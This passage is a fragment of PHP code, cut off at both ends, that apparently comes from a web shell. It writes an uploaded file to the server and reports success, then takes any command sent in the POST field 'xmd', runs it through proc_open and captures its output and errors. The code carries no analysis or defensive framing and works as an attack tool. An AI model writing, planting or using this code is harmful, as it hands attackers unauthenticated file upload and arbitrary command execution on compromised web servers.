';
if(move_uploaded_file($filetmp,$filename)=='1'){
echo '[OK] ===> '.$filename;
}
if(isset($_POST['xmd'])){
$xmd=$_POST['xmd'];
$descriptors = [
0 => ['pipe', 'r'], // stdin
1 => ['pipe', 'w'], // stdout
2 => ['pipe', 'w'], // stderr
];
$process = proc_open($xmd, $descriptors, $pipes);
$output = stream_get_contents($pipes[1]);
$error = stream_get_contents($pipes[2]);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
echo "